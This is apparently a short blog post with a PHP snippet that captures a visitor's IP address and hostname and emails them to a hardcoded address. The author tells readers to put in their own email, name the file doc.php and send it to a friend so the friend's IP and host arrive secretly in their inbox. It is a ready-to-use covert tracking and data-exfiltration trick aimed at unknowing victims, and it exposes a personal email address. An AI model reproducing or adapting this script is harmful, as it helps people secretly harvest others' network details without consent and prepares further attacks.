$ip = $REMOTE_ADDR;
$host = gethostbyaddr($ip);
$date = date("d/m/Y H:i:s");
$email = "dushpandya2001@hotmail.com";
$sujet = "Ip + Host";
$message = "
Ip : $ip
Host : $host";
if(mail($email,$sujet,$message,"Content-Type: text/html")){
echo "Ownneeed";}
else { echo "Shit ?";}
?>
Replace dushpandya2001@hotmail.com with your addres mail make a doc.php give him to your friend and you will recive his ip and host in your inbox..
0 comments:
Post a Comment